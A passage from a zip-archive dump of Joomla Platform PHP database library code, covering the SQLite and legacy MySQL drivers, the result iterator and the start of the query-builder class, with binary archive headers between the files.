name of the database table to drop. * @param boolean $ifExists Optionally specify that the table must exist before it is dropped. * * @return JDatabaseDriverSqlite Returns this object to support chaining. * * @since 3.0.0 */ public function dropTable($tableName, $ifExists = true) { $this->connect(); $query = $this->getQuery(true); $this->setQuery('DROP TABLE ' . ($ifExists ? 'IF EXISTS ' : '') . $query->quoteName($tableName)); $this->execute(); return $this; } /** * Method to escape a string for usage in an SQLite statement. * * Note: Using query objects with bound variables is * preferable to the below. * * @param string $text The string to be escaped. * @param boolean $extra Unused optional parameter to provide extra escaping. * * @return string The escaped string. * * @since 3.0.0 */ public function escape($text, $extra = false) { if (is_int($text)) { return $text; } if (is_float($text)) { // Force the dot as a decimal point. return str_replace(',', '.', $text); } return SQLite3::escapeString($text); } /** * Method to get the database collation in use by sampling a text field of a table in the database. * * @return mixed The collation in use by the database or boolean false if not supported. * * @since 3.0.0 */ public function getCollation() { return $this->charset; } /** * Method to get the database connection collation, as reported by the driver. If the connector doesn't support * reporting this value please return an empty string. * * @return string */ public function getConnectionCollation() { return $this->charset; } /** * Shows the table CREATE statement that creates the given tables. * * Note: Doesn't appear to have support in SQLite * * @param mixed $tables A table name or a list of table names. * * @return array A list of the create SQL for the tables. * * @since 3.0.0 * @throws RuntimeException */ public function getTableCreate($tables) { $this->connect(); // Sanitize input to an array and iterate over the list. settype($tables, 'array'); return $tables; } /** * Retrieves field information about a given table. * * @param string $table The name of the database table. * @param boolean $typeOnly True to only return field types. * * @return array An array of fields for the database table. * * @since 3.0.0 * @throws RuntimeException */ public function getTableColumns($table, $typeOnly = true) { $this->connect(); $columns = array(); $query = $this->getQuery(true); $fieldCasing = $this->getOption(PDO::ATTR_CASE); $this->setOption(PDO::ATTR_CASE, PDO::CASE_UPPER); $table = strtoupper($table); $query->setQuery('pragma table_info(' . $table . ')'); $this->setQuery($query); $fields = $this->loadObjectList(); if ($typeOnly) { foreach ($fields as $field) { $columns[$field->NAME] = $field->TYPE; } } else { foreach ($fields as $field) { // Do some dirty translation to MySQL output. // TODO: Come up with and implement a standard across databases. $columns[$field->NAME] = (object) array( 'Field' => $field->NAME, 'Type' => $field->TYPE, 'Null' => ($field->NOTNULL == '1' ? 'NO' : 'YES'), 'Default' => $field->DFLT_VALUE, 'Key' => ($field->PK != '0' ? 'PRI' : ''), ); } } $this->setOption(PDO::ATTR_CASE, $fieldCasing); return $columns; } /** * Get the details list of keys for a table. * * @param string $table The name of the table. * * @return array An array of the column specification for the table. * * @since 3.0.0 * @throws RuntimeException */ public function getTableKeys($table) { $this->connect(); $keys = array(); $query = $this->getQuery(true); $fieldCasing = $this->getOption(PDO::ATTR_CASE); $this->setOption(PDO::ATTR_CASE, PDO::CASE_UPPER); $table = strtoupper($table); $query->setQuery('pragma table_info( ' . $table . ')'); // $query->bind(':tableName', $table); $this->setQuery($query); $rows = $this->loadObjectList(); foreach ($rows as $column) { if ($column->PK == 1) { $keys[$column->NAME] = $column; } } $this->setOption(PDO::ATTR_CASE, $fieldCasing); return $keys; } /** * Method to get an array of all tables in the database (schema). * * @return array An array of all the tables in the database. * * @since 3.0.0 * @throws RuntimeException */ public function getTableList() { $this->connect(); $type = 'table'; $query = $this->getQuery(true) ->select('name') ->from('sqlite_master') ->where('type = :type') ->bind(':type', $type) ->order('name'); $this->setQuery($query); $tables = $this->loadColumn(); return $tables; } /** * Get the version of the database connector. * * @return string The database connector version. * * @since 3.0.0 */ public function getVersion() { $this->connect(); $this->setQuery('SELECT sqlite_version()'); return $this->loadResult(); } /** * Select a database for use. * * @param string $database The name of the database to select for use. * * @return boolean True if the database was successfully selected. * * @since 3.0.0 * @throws RuntimeException */ public function select($database) { $this->connect(); return true; } /** * Set the connection to use UTF-8 character encoding. * * Returns false automatically for the Oracle driver since * you can only set the character set when the connection * is created. * * @return boolean True on success. * * @since 3.0.0 */ public function setUtf() { $this->connect(); return false; } /** * Locks a table in the database. * * @param string $table The name of the table to unlock. * * @return JDatabaseDriverSqlite Returns this object to support chaining. * * @since 3.0.0 * @throws RuntimeException */ public function lockTable($table) { return $this; } /** * Renames a table in the database. * * @param string $oldTable The name of the table to be renamed * @param string $newTable The new name for the table. * @param string $backup Not used by Sqlite. * @param string $prefix Not used by Sqlite. * * @return JDatabaseDriverSqlite Returns this object to support chaining. * * @since 3.0.0 * @throws RuntimeException */ public function renameTable($oldTable, $newTable, $backup = null, $prefix = null) { $this->setQuery('ALTER TABLE ' . $oldTable . ' RENAME TO ' . $newTable)->execute(); return $this; } /** * Unlocks tables in the database. * * @return JDatabaseDriverSqlite Returns this object to support chaining. * * @since 3.0.0 * @throws RuntimeException */ public function unlockTables() { return $this; } /** * Test to see if the PDO ODBC connector is available. * * @return boolean True on success, false otherwise. * * @since 3.0.0 */ public static function isSupported() { return class_exists('PDO') && in_array('sqlite', PDO::getAvailableDrivers()); } /** * Method to commit a transaction. * * @param boolean $toSavepoint If true, commit to the last savepoint. * * @return void * * @since 3.1.4 * @throws RuntimeException */ public function transactionCommit($toSavepoint = false) { $this->connect(); if (!$toSavepoint || $this->transactionDepth <= 1) { parent::transactionCommit($toSavepoint); } else { $this->transactionDepth--; } } /** * Method to roll back a transaction. * * @param boolean $toSavepoint If true, rollback to the last savepoint. * * @return void * * @since 3.1.4 * @throws RuntimeException */ public function transactionRollback($toSavepoint = false) { $this->connect(); if (!$toSavepoint || $this->transactionDepth <= 1) { parent::transactionRollback($toSavepoint); } else { $savepoint = 'SP_' . ($this->transactionDepth - 1); $this->setQuery('ROLLBACK TO ' . $this->quoteName($savepoint)); if ($this->execute()) { $this->transactionDepth--; } } } /** * Method to initialize a transaction. * * @param boolean $asSavepoint If true and a transaction is already active, a savepoint will be created. * * @return void * * @since 3.1.4 * @throws RuntimeException */ public function transactionStart($asSavepoint = false) { $this->connect(); if (!$asSavepoint || !$this->transactionDepth) { parent::transactionStart($asSavepoint); } $savepoint = 'SP_' . $this->transactionDepth; $this->setQuery('SAVEPOINT ' . $this->quoteName($savepoint)); if ($this->execute()) { $this->transactionDepth++; } } /** * Get the query strings to alter the character set and collation of a table. * * @param string $tableName The name of the table * * @return string[] The queries required to alter the table's character set and collation * * @since CMS 3.5.0 */ public function getAlterTableCharacterSet($tableName) { return array(); } /** * Return the query string to create new Database. * Each database driver, other than MySQL, need to override this member to return correct string. * * @param stdClass $options Object used to pass user and database name to database driver. * This object must have "db_name" and "db_user" set. * @param boolean $utf True if the database supports the UTF-8 character set. * * @return string The query that creates database * * @since 3.0.1 */ protected function getCreateDatabaseQuery($options, $utf) { return 'CREATE DATABASE ' . $this->quoteName($options->db_name); } } PK�\l�}�9�9 joomla/database/driver/mysql.phpnu�[���<?php /** * @package Joomla.Platform * @subpackage Database * * @copyright (C) 2005 Open Source Matters, Inc. <https://www.joomla.org> * @license GNU General Public License version 2 or later; see LICENSE */ defined('JPATH_PLATFORM') or die; /** * MySQL database driver * * @link https://dev.mysql.com/doc/ * @since 3.0.0 * @deprecated 4.0 Use MySQLi or PDO MySQL instead */ class JDatabaseDriverMysql extends JDatabaseDriverMysqli { /** * The name of the database driver. * * @var string * @since 3.0.0 */ public $name = 'mysql'; /** * Constructor. * * @param array $options Array of database options with keys: host, user, password, database, select. * * @since 3.0.0 */ public function __construct($options) { // PHP's `mysql` extension is not present in PHP 7, block instantiation in this environment if (PHP_MAJOR_VERSION >= 7) { throw new JDatabaseExceptionUnsupported( 'This driver is unsupported in PHP 7, please use the MySQLi or PDO MySQL driver instead.' ); } // Get some basic values from the options. $options['host'] = (isset($options['host'])) ? $options['host'] : 'localhost'; $options['user'] = (isset($options['user'])) ? $options['user'] : ''; $options['password'] = (isset($options['password'])) ? $options['password'] : ''; $options['database'] = (isset($options['database'])) ? $options['database'] : ''; $options['select'] = (isset($options['select'])) ? (bool) $options['select'] : true; // Finalize initialisation. parent::__construct($options); } /** * Connects to the database if needed. * * @return void Returns void if the database connected successfully. * * @since 3.0.0 * @throws RuntimeException */ public function connect() { if ($this->connection) { return; } // Make sure the MySQL extension for PHP is installed and enabled. if (!self::isSupported()) { throw new JDatabaseExceptionUnsupported('Make sure the MySQL extension for PHP is installed and enabled.'); } // Attempt to connect to the server. if (!($this->connection = @ mysql_connect($this->options['host'], $this->options['user'], $this->options['password'], true))) { throw new JDatabaseExceptionConnecting('Could not connect to MySQL server.'); } // Set sql_mode to non_strict mode mysql_query("SET @@SESSION.sql_mode = '';", $this->connection); // If auto-select is enabled select the given database. if ($this->options['select'] && !empty($this->options['database'])) { $this->select($this->options['database']); } // Pre-populate the UTF-8 Multibyte compatibility flag based on server version $this->utf8mb4 = $this->serverClaimsUtf8mb4Support(); // Set the character set (needed for MySQL 4.1.2+). $this->utf = $this->setUtf(); // Disable query cache and turn profiling ON in debug mode. if ($this->debug) { if ($this->hasQueryCacheEnabled()) { mysql_query('SET query_cache_type = 0;', $this->connection); } if ($this->hasProfiling()) { mysql_query('SET profiling_history_size = 100, profiling = 1;', $this->connection); } } } /** * Disconnects the database. * * @return void * * @since 3.0.0 */ public function disconnect() { // Close the connection. if (is_resource($this->connection)) { foreach ($this->disconnectHandlers as $h) { call_user_func_array($h, array( &$this)); } mysql_close($this->connection); } $this->connection = null; } /** * Method to escape a string for usage in an SQL statement. * * @param string $text The string to be escaped. * @param boolean $extra Optional parameter to provide extra escaping. * * @return string The escaped string. * * @since 3.0.0 */ public function escape($text, $extra = false) { if (is_int($text)) { return $text; } if (is_float($text)) { // Force the dot as a decimal point. return str_replace(',', '.', (string) $text); } $this->connect(); $result = mysql_real_escape_string((string) $text, $this->getConnection()); if ($extra) { $result = addcslashes($result, '%_'); } return $result; } /** * Test to see if the MySQL connector is available. * * @return boolean True on success, false otherwise. * * @since 3.0.0 */ public static function isSupported() { return PHP_MAJOR_VERSION < 7 && function_exists('mysql_connect'); } /** * Determines if the connection to the server is active. * * @return boolean True if connected to the database engine. * * @since 3.0.0 */ public function connected() { if (is_resource($this->connection)) { return @mysql_ping($this->connection); } return false; } /** * Get the number of affected rows by the last INSERT, UPDATE, REPLACE or DELETE for the previous executed SQL statement. * * @return integer The number of affected rows. * * @since 3.0.0 */ public function getAffectedRows() { $this->connect(); return mysql_affected_rows($this->connection); } /** * Get the number of returned rows for the previous executed SQL statement. * This command is only valid for statements like SELECT or SHOW that return an actual result set. * To retrieve the number of rows affected by an INSERT, UPDATE, REPLACE or DELETE query, use getAffectedRows(). * * @param resource $cursor An optional database cursor resource to extract the row count from. * * @return integer The number of returned rows. * * @since 3.0.0 */ public function getNumRows($cursor = null) { $this->connect(); return mysql_num_rows($cursor ? $cursor : $this->cursor); } /** * Get the version of the database connector. * * @return string The database connector version. * * @since 3.0.0 */ public function getVersion() { $this->connect(); return mysql_get_server_info($this->connection); } /** * Method to get the auto-incremented value from the last INSERT statement. * * @return integer The value of the auto-increment field from the last inserted row. * * @since 3.0.0 */ public function insertid() { $this->connect(); return mysql_insert_id($this->connection); } /** * Execute the SQL statement. * * @return mixed A database cursor resource on success, boolean false on failure. * * @since 3.0.0 * @throws RuntimeException */ public function execute() { $this->connect(); // Take a local copy so that we don't modify the original query and cause issues later $query = $this->replacePrefix((string) $this->sql); if (!($this->sql instanceof JDatabaseQuery) && ($this->limit > 0 || $this->offset > 0)) { $query .= ' LIMIT ' . $this->offset . ', ' . $this->limit; } if (!is_resource($this->connection)) { JLog::add(JText::sprintf('JLIB_DATABASE_QUERY_FAILED', $this->errorNum, $this->errorMsg), JLog::ERROR, 'database'); throw new JDatabaseExceptionExecuting($query, $this->errorMsg, $this->errorNum); } // Increment the query counter. $this->count++; // Reset the error values. $this->errorNum = 0; $this->errorMsg = ''; // If debugging is enabled then let's log the query. if ($this->debug) { // Add the query to the object queue. $this->log[] = $query; JLog::add($query, JLog::DEBUG, 'databasequery'); $this->timings[] = microtime(true); } // Execute the query. Error suppression is used here to prevent warnings/notices that the connection has been lost. $this->cursor = @mysql_query($query, $this->connection); if ($this->debug) { $this->timings[] = microtime(true); if (defined('DEBUG_BACKTRACE_IGNORE_ARGS')) { $this->callStacks[] = debug_backtrace(DEBUG_BACKTRACE_IGNORE_ARGS); } else { $this->callStacks[] = debug_backtrace(); } } // If an error occurred handle it. if (!$this->cursor) { // Get the error number and message before we execute any more queries. $this->errorNum = $this->getErrorNumber(); $this->errorMsg = $this->getErrorMessage(); // Check if the server was disconnected. if (!$this->connected()) { try { // Attempt to reconnect. $this->connection = null; $this->connect(); } // If connect fails, ignore that exception and throw the normal exception. catch (RuntimeException $e) { // Get the error number and message. $this->errorNum = $this->getErrorNumber(); $this->errorMsg = $this->getErrorMessage(); // Throw the normal query exception. JLog::add(JText::sprintf('JLIB_DATABASE_QUERY_FAILED', $this->errorNum, $this->errorMsg), JLog::ERROR, 'database-error'); throw new JDatabaseExceptionExecuting($query, $this->errorMsg, $this->errorNum, $e); } // Since we were able to reconnect, run the query again. return $this->execute(); } // The server was not disconnected. else { // Throw the normal query exception. JLog::add(JText::sprintf('JLIB_DATABASE_QUERY_FAILED', $this->errorNum, $this->errorMsg), JLog::ERROR, 'database-error'); throw new JDatabaseExceptionExecuting($query, $this->errorMsg, $this->errorNum); } } return $this->cursor; } /** * Select a database for use. * * @param string $database The name of the database to select for use. * * @return boolean True if the database was successfully selected. * * @since 3.0.0 * @throws RuntimeException */ public function select($database) { $this->connect(); if (!$database) { return false; } if (!mysql_select_db($database, $this->connection)) { throw new JDatabaseExceptionConnecting('Could not connect to MySQL database.'); } return true; } /** * Set the connection to use UTF-8 character encoding. * * @return boolean True on success. * * @since 3.0.0 */ public function setUtf() { // If UTF is not supported return false immediately if (!$this->utf) { return false; } // Make sure we're connected to the server $this->connect(); // Which charset should I use, plain utf8 or multibyte utf8mb4? $charset = $this->utf8mb4 ? 'utf8mb4' : 'utf8'; $result = @mysql_set_charset($charset, $this->connection); /** * If I could not set the utf8mb4 charset then the server doesn't support utf8mb4 despite claiming otherwise. * This happens on old MySQL server versions (less than 5.5.3) using the mysqlnd PHP driver. Since mysqlnd * masks the server version and reports only its own we can not be sure if the server actually does support * UTF-8 Multibyte (i.e. it's MySQL 5.5.3 or later). Since the utf8mb4 charset is undefined in this case we * catch the error and determine that utf8mb4 is not supported! */ if (!$result && $this->utf8mb4) { $this->utf8mb4 = false; $result = @mysql_set_charset('utf8', $this->connection); } return $result; } /** * Method to fetch a row from the result set cursor as an array. * * @param mixed $cursor The optional result set cursor from which to fetch the row. * * @return mixed Either the next row from the result set or false if there are no more rows. * * @since 3.0.0 */ protected function fetchArray($cursor = null) { return mysql_fetch_row($cursor ? $cursor : $this->cursor); } /** * Method to fetch a row from the result set cursor as an associative array. * * @param mixed $cursor The optional result set cursor from which to fetch the row. * * @return mixed Either the next row from the result set or false if there are no more rows. * * @since 3.0.0 */ protected function fetchAssoc($cursor = null) { return mysql_fetch_assoc($cursor ? $cursor : $this->cursor); } /** * Method to fetch a row from the result set cursor as an object. * * @param mixed $cursor The optional result set cursor from which to fetch the row. * @param string $class The class name to use for the returned row object. * * @return mixed Either the next row from the result set or false if there are no more rows. * * @since 3.0.0 */ protected function fetchObject($cursor = null, $class = 'stdClass') { return mysql_fetch_object($cursor ? $cursor : $this->cursor, $class); } /** * Method to free up the memory used for the result set. * * @param mixed $cursor The optional result set cursor from which to fetch the row. * * @return void * * @since 3.0.0 */ protected function freeResult($cursor = null) { mysql_free_result($cursor ? $cursor : $this->cursor); } /** * Internal function to check if profiling is available * * @return boolean * * @since 3.1.3 */ private function hasProfiling() { try { $res = mysql_query("SHOW VARIABLES LIKE 'have_profiling'", $this->connection); $row = mysql_fetch_assoc($res); return isset($row); } catch (Exception $e) { return false; } } /** * Internal function to check if query cache is enabled. * * @return boolean * * @since 3.9.25 */ private function hasQueryCacheEnabled() { try { $res = mysql_query("SHOW VARIABLES LIKE 'query_cache_type'", $this->connection); $row = mysql_fetch_assoc($res); return isset($row['Value']) && $row['Value'] === 'ON'; } catch (Exception $e) { return false; } } /** * Does the database server claim to have support for UTF-8 Multibyte (utf8mb4) collation? * * libmysql supports utf8mb4 since 5.5.3 (same version as the MySQL server). mysqlnd supports utf8mb4 since 5.0.9. * * @return boolean * * @since CMS 3.5.0 */ private function serverClaimsUtf8mb4Support() { $client_version = mysql_get_client_info(); $server_version = $this->getVersion(); if (version_compare($server_version, '5.5.3', '<')) { return false; } else { if (strpos($client_version, 'mysqlnd') !== false) { $client_version = preg_replace('/^\D+([\d.]+).*/', '$1', $client_version); return version_compare($client_version, '5.0.9', '>='); } else { return version_compare($client_version, '5.5.3', '>='); } } } /** * Return the actual SQL Error number * * @return integer The SQL Error number * * @since 3.4.6 */ protected function getErrorNumber() { return (int) mysql_errno($this->connection); } /** * Return the actual SQL Error message * * @return string The SQL Error message * * @since 3.4.6 */ protected function getErrorMessage() { $errorMessage = (string) mysql_error($this->connection); // Replace the Databaseprefix with `#__` if we are not in Debug if (!$this->debug) { $errorMessage = str_replace($this->tablePrefix, '#__', $errorMessage); } return $errorMessage; } } PK�\���n��joomla/database/iterator.phpnu�[���<?php /** * @package Joomla.Platform * @subpackage Database * * @copyright (C) 2012 Open Source Matters, Inc. <https://www.joomla.org> * @license GNU General Public License version 2 or later; see LICENSE */ defined('JPATH_PLATFORM') or die; /** * Joomla Platform Database Driver Class * * @since 3.0.0 */ abstract class JDatabaseIterator implements Countable, Iterator { /** * The database cursor. * * @var mixed * @since 3.0.0 */ protected $cursor; /** * The class of object to create. * * @var string * @since 3.0.0 */ protected $class; /** * The name of the column to use for the key of the database record. * * @var mixed * @since 3.0.0 */ private $_column; /** * The current database record. * * @var mixed * @since 3.0.0 */ private $_current; /** * A numeric or string key for the current database record. * * @var int|string * @since 3.0.0 */ private $_key; /** * The number of fetched records. * * @var integer * @since 3.0.0 */ private $_fetched = 0; /** * Database iterator constructor. * * @param mixed $cursor The database cursor. * @param string $column An option column to use as the iterator key. * @param string $class The class of object that is returned. * * @throws InvalidArgumentException */ public function __construct($cursor, $column = null, $class = 'stdClass') { if (!class_exists($class)) { throw new InvalidArgumentException(sprintf('new %s(*%s*, cursor)', get_class($this), gettype($class))); } $this->cursor = $cursor; $this->class = $class; $this->_column = $column; $this->_fetched = 0; $this->next(); } /** * Database iterator destructor. * * @since 3.0.0 */ public function __destruct() { if ($this->cursor) { $this->freeResult($this->cursor); } } /** * The current element in the iterator. * * @return object * * @see Iterator::current() * @since 3.0.0 */ public function current() { return $this->_current; } /** * The key of the current element in the iterator. * * @return int|string * * @see Iterator::key() * @since 3.0.0 */ public function key() { return $this->_key; } /** * Moves forward to the next result from the SQL query. * * @return void * * @see Iterator::next() * @since 3.0.0 */ public function next() { // Set the default key as being the number of fetched object $this->_key = $this->_fetched; // Try to get an object $this->_current = $this->fetchObject(); // If an object has been found if ($this->_current) { // Set the key as being the indexed column (if it exists) if (isset($this->_current->{$this->_column})) { $this->_key = $this->_current->{$this->_column}; } // Update the number of fetched object $this->_fetched++; } } /** * Rewinds the iterator. * * This iterator cannot be rewound. * * @return void * * @see Iterator::rewind() * @since 3.0.0 */ public function rewind() { } /** * Checks if the current position of the iterator is valid. * * @return boolean * * @see Iterator::valid() * @since 3.0.0 */ public function valid() { return (boolean) $this->_current; } /** * Method to fetch a row from the result set cursor as an object. * * @return mixed Either the next row from the result set or false if there are no more rows. * * @since 3.0.0 */ abstract protected function fetchObject(); /** * Method to free up the memory used for the result set. * * @return void * * @since 3.0.0 */ abstract protected function freeResult(); } PK�\dr�Ws�s�joomla/database/query.phpnu�[���<?php /** * @package Joomla.Platform * @subpackage Database * * @copyright (C) 2006 Open Source Matters, Inc. <https://www.joomla.org> * @license GNU General Public License version 2 or later; see LICENSE */ defined('JPATH_PLATFORM') or die; /** * Query Building Class. * * @since 1.7.0 * * @method string q() q($text, $escape = true) Alias for quote method * @method string qn() qn($name, $as = null) Alias for quoteName method * @method string e() e($text, $extra = false) Alias for escape method * @property-read JDatabaseQueryElement $type * @property-read JDatabaseQueryElement $select * @property-read JDatabaseQueryElement $group * @property-read JDatabaseQueryElement $having */ abstract class JDatabaseQuery { /** * @var JDatabaseDriver The database driver. * @since 1.7.0 */ protected $db = null; /** * @var string The SQL query (if a direct query string was provided). * @since 3.0.0 */ protected $sql = null; /** * @var string The query type. * @since 1.7.0 */ protected $type = ''; /** * @var JDatabaseQueryElement The query element for a generic query (type = null). * @since 1.7.0 */ protected $element = null; /** * @var JDatabaseQueryElement The select element. * @since 1.7.0 */ protected $select = null; /** * @var JDatabaseQueryElement The delete element. * @since 1.7.0 */ protected $delete = null; /** * @var JDatabaseQueryElement The update element. * @since 1.7.0 */ protected $update = null; /** * @var JDatabaseQueryElement The insert element. * @since 1.7.0 */ protected $insert = null; /** * @var JDatabaseQueryElement The from element. * @since 1.7.0 */ protected $from = null; /** * @var JDatabaseQueryElement The join element. * @since 1.7.0 */ protected $join = null; /** * @var JDatabaseQueryElement The set element. * @since 1.7.0 */ protected $set = null; /** * @var JDatabaseQueryElement The where element. * @since 1.7.0 */ protected $where = null; /** * @var JDatabaseQueryElement The group by element. * @since 1.7.0 */ protected $group = null; /** * @var JDatabaseQueryElement The having element. * @since 1.7.0 */ protected $having = null; /** * @var JDatabaseQueryElement The column list for an INSERT statement. * @since 1.7.0 */ protected $columns = null; /** * @var JDatabaseQueryElement The values list for an INSERT statement. * @since 1.7.0 */ protected $values = null; /** * @var JDatabaseQueryElement The order element. * @since 1.7.0 */ protected $order = null; /** * @var object The auto increment insert field element. * @since 1.7.0 */ protected $autoIncrementField = null; /** * @var JDatabaseQueryElement The call element. * @since 3.0.0 */ protected $call = null; /** * @var JDatabaseQueryElement The exec element. * @since 3.0.0 */ protected $exec = null; /** * @var JDatabaseQueryElement The union element. * @since 3.0.0 * @deprecated 4.0 Will be transformed and moved to $merge variable. */ protected $union = null; /** * @var JDatabaseQueryElement The unionAll element. * @since 3.2.0 * @deprecated 4.0 Will be transformed and moved to $merge variable. */ protected $unionAll = null; /** * @var array Details of window function. * @since 3.7.0 */ protected $selectRowNumber = null; /** * Magic method to provide method alias support for quote() and quoteName(). * * @param string $method The called method. * @param array $args The array of arguments passed to the method. * * @return string The aliased method's return value or null. * * @since 1.7.0 */ public function __call($method, $args) { if (empty($args)) { return; } switch ($method) { case 'q': return $this->quote($args[0], isset($args[1]) ? $args[1] : true); break; case 'qn': return $this->quoteName($args[0], isset($args[1]) ? $args[1] : null); break; case 'e': return $this->escape($args[0], isset($args[1]) ? $args[1] : false); break; } } /** * Class constructor. * * @param JDatabaseDriver $db The database driver. * * @since 1.7.0 */ public function __construct(JDatabaseDriver $db = null) { $this->db = $db; } /** * Magic function to convert the query to a string. * * @return string The completed query. * * @since 1.7.0 */ public function __toString() { $query = ''; if ($this->sql) { return $this->sql; } switch ($this->type) { case 'element': $query .= (string) $this->element; break; case 'select': $query .= (string) $this->select; $query .= (string) $this->from; if ($this->join) { // Special case for joins foreach ($this->join as $join) { $query .= (string) $join; } } if ($this->where) { $query .= (string) $this->where; } if ($this->selectRowNumber === null) { if ($this->group) { $query .= (string) $this->group; } if ($this->having) { $query .= (string) $this->having; } if ($this->union) { $query .= (string) $this->union; } if ($this->unionAll) { $query .= (string) $this->unionAll; } } if ($this->order) { $query .= (string) $this->order; } break; case 'delete': $query .= (string) $this->delete; $query .= (string) $this->from; if ($this->join) { // Special case for joins foreach ($this->join as $join) { $query .= (string) $join; } } if ($this->where) { $query .= (string) $this->where; } if ($this->order) { $query .= (string) $this->order; } break; case 'update': $query .= (string) $this->update; if ($this->join) { // Special case for joins foreach ($this->join as $join) { $query .= (string) $join; } } $query .= (string) $this->set; if ($this->where) { $query .= (string) $this->where; } if ($this->order) { $query .= (string) $this->order; } break; case 'insert': $query .= (string) $this->insert; // Set method if ($this->set) { $query .= (string) $this->set; } // Columns-Values method elseif ($this->values) { if ($this->columns) { $query .= (string) $this->columns; } $elements = $this->values->getElements(); if (!($elements[0] instanceof $this)) { $query .= ' VALUES '; } $query .= (string) $this->values; } break; case 'call': $query .= (string) $this->call; break; case 'exec': $query .= (string) $this->exec; break; } if ($this instanceof JDatabaseQueryLimitable) { $query = $this->processLimit($query, $this->limit, $this->offset); } return $query; } /** * Magic function to get protected variable value * * @param string $name The name of the variable. * * @return mixed * * @since 1.7.0 */ public function __get($name) { return isset($this->$name) ? $this->$name : null; } /** * Add a single column, or array of columns to the CALL clause of the query. * * Note that you must not mix insert, update, delete and select method calls when building a query. * The call method can, however, be called multiple times in the same query. * * Usage: * $query->call('a.*')->call('b.id'); * $query->call(array('a.*', 'b.id')); * * @param mixed $columns A string or an array of field names. * * @return JDatabaseQuery Returns this object to allow chaining. * * @since 3.0.0 */ public function call($columns) { $this->type = 'call'; if (is_null($this->call)) { $this->call = new JDatabaseQueryElement('CALL', $columns); } else { $this->call->append($columns); } return $this; } /** * Casts a value to a char. * * Ensure that the value is properly quoted before passing to the method. * * Usage: * $query->select($query->castAsChar('a')); * * @param string $value The value to cast as a char. * * @return string Returns the cast value. * * @since 1.7.0 */ public function castAsChar($value) { return $value; } /** * Gets the number of characters in a string. * * Note, use 'length' to find the number of bytes in a string. * * Usage: * $query->select($query->charLength('a')); * * @param string $field A value. * @param string $operator Comparison operator between charLength integer value and $condition * @param string $condition Integer value to compare charLength with. * * @return string The required char length call. * * @since 1.7.0 */ public function charLength($field, $operator = null, $condition = null) { return 'CHAR_LENGTH(' . $field . ')' . (isset($operator) && isset($condition) ? ' ' . $operator . ' ' . $condition : ''); } /** * Clear data from the query or a specific clause of the query. * * @param string $clause Optionally, the name of the clause to clear, or nothing to clear the whole query. * * @return JDatabaseQuery Returns this object to allow chaining. * * @since 1.7.0 */ public function clear($clause = null) { $this->sql = null; switch ($clause) { case 'select': $this->select = null; $this->type = null; $this->selectRowNumber = null; break; case 'delete': $this->delete = null; $this->type = null; break; case 'update': $this->update = null; $this->type = null; break; case 'insert': $this->insert = null; $this->type = null; $this->autoIncrementField = null; break; case 'from': $this->from = null; break; case 'join': $this->join = null; break; case 'set': $this->set = null; break; case 'where': $this->where = null; break; case 'group': $this->group = null; break; case 'having': $this->having = null; break; case 'order': $this->order = null; break; case 'columns': $this->columns = null; break; case 'values': $this->values = null; break; case 'exec': $this->exec = null; $this->type = null; break; case 'call': $this->call = null; $this->type = null; break; case 'limit': $this->offset = 0; $this->limit = 0; break; case 'offset': $this->offset = 0; break; case 'union': $this->union = null; break; case 'unionAll': $this->unionAll = null; break; default: $this->type = null; $this->select = null; $this->selectRowNumber = null; $this->delete = null; $this->update = null; $this->insert = null; $this->from = null; $this->join = null; $this->set = null; $this->where = null; $this->group = null; $this->having = null; $this->order = null; $this->columns = null; $this->values = null; $this->autoIncrementField = null; $this->exec = null; $this->call = null; $this->union = null; $this->unionAll = null; $this->offset = 0; $this->limit = 0; break; } return $this; } /** * Adds a column, or array of column names that would be used for an INSERT INTO statement. * * @param mixed $columns A column name, or array of column names. * * @return JDatabaseQuery Returns this object to allow chaining. * * @since 1.7.0 */ public function columns($columns) { if (is_null($this->columns)) { $this->columns = new JDatabaseQueryElement('()', $columns); } else { $this->columns->append($columns); } return $this; } /** * Concatenates an array of column names or values. * * Usage: * $query->select($query->concatenate(array('a', 'b'))); * * @param array $values An array of values to concatenate. * @param string $separator As separator to place between each value. * * @return string The concatenated values. * * @since 1.7.0 */ public function concatenate($values, $separator = null) { if ($separator) { return 'CONCATENATE(' . implode(' || ' . $this->quote($separator) . ' || ', $values) . ')'; } else { return 'CONCATENATE(' . implode(' || ', $values) . ')'; } } /** * Gets the current date and time. * * Usage: * $query->where('published_up < '.$query->currentTimestamp()); * * @return string * * @since 1.7.0 */ public function currentTimestamp() { return 'CURRENT_TIMESTAMP()'; } /** * Returns a PHP date() function compliant date format for the database driver. * * This method is provided for use where the query object is passed to a function for modification. * If you have direct access to the database object, it is recommended you use the getDateFormat method directly. * * @return string The format string. * * @since 1.7.0 */ public function dateFormat() { if (!($this->db instanceof JDatabaseDriver)) { throw new RuntimeException('JLIB_DATABASE_ERROR_INVALID_DB_OBJECT'); } return $this->db->getDateFormat(); } /** * Creates a formatted dump of the query for debugging purposes. * * Usage: * echo $query->dump(); * * @return string * * @since 1.7.3 */ public function dump() { return '<pre class="jdatabasequery">' . str_replace('#__', $this->db->getPrefix(), $this) . '</pre>'; } /** * Add a table name to the DELETE clause of the query. * * Note that you must not mix insert, update, delete and select method calls when building a query. * * Usage: * $query->delete('#__a')->where('id = 1'); * * @param string $table The name of the table to delete from. * * @return JDatabaseQuery Returns this object to allow chaining. * * @since 1.7.0 */ public function delete($table = null) { $this->type = 'delete'; $this->delete = new JDatabaseQueryElement('DELETE', null); if (!empty($table)) { $this->from($table); } return $this; } /** * Method to escape a string for usage in an SQL statement. * * This method is provided for use where the query object is passed to a function for modification. * If you have direct access to the database object, it is recommended you use the escape method directly. * * Note that 'e' is an alias for this method as it is in JDatabaseDriver. * * @param string $text The string to be escaped. * @param boolean $extra Optional parameter to provide extra escaping. * * @return string The escaped string. * * @since 1.7.0 * @throws RuntimeException if the internal db property is not a valid object. */ public function escape($text, $extra = false) { if (!($this->db instanceof JDatabaseDriver)) { throw new RuntimeException('JLIB_DATABASE_ERROR_INVALID_DB_OBJECT'); } return $this->db->escape($text, $extra); } /** * Add a single column, or array of columns to the EXEC clause of the query. * * Note that you must not mix insert, update, delete and select method calls when building a query. * The exec method can, however, be called multiple times in the same query. * * Usage: * $query->exec('a.*')->exec('b.id'); * $query->exec(array('a.*', 'b.id')); * * @param mixed $columns A string or an array of field names. * * @return JDatabaseQuery Returns this object to allow chaining. * * @since 3.0.0 */ public function exec($columns) { $this->type = 'exec'; if (is_null($this->exec)) { $this->exec = new JDatabaseQueryElement('EXEC', $columns); } else { $this->exec->append($columns); } return $this; } /** * Add a table to the FROM clause of the query. * * Note that while an array of tables 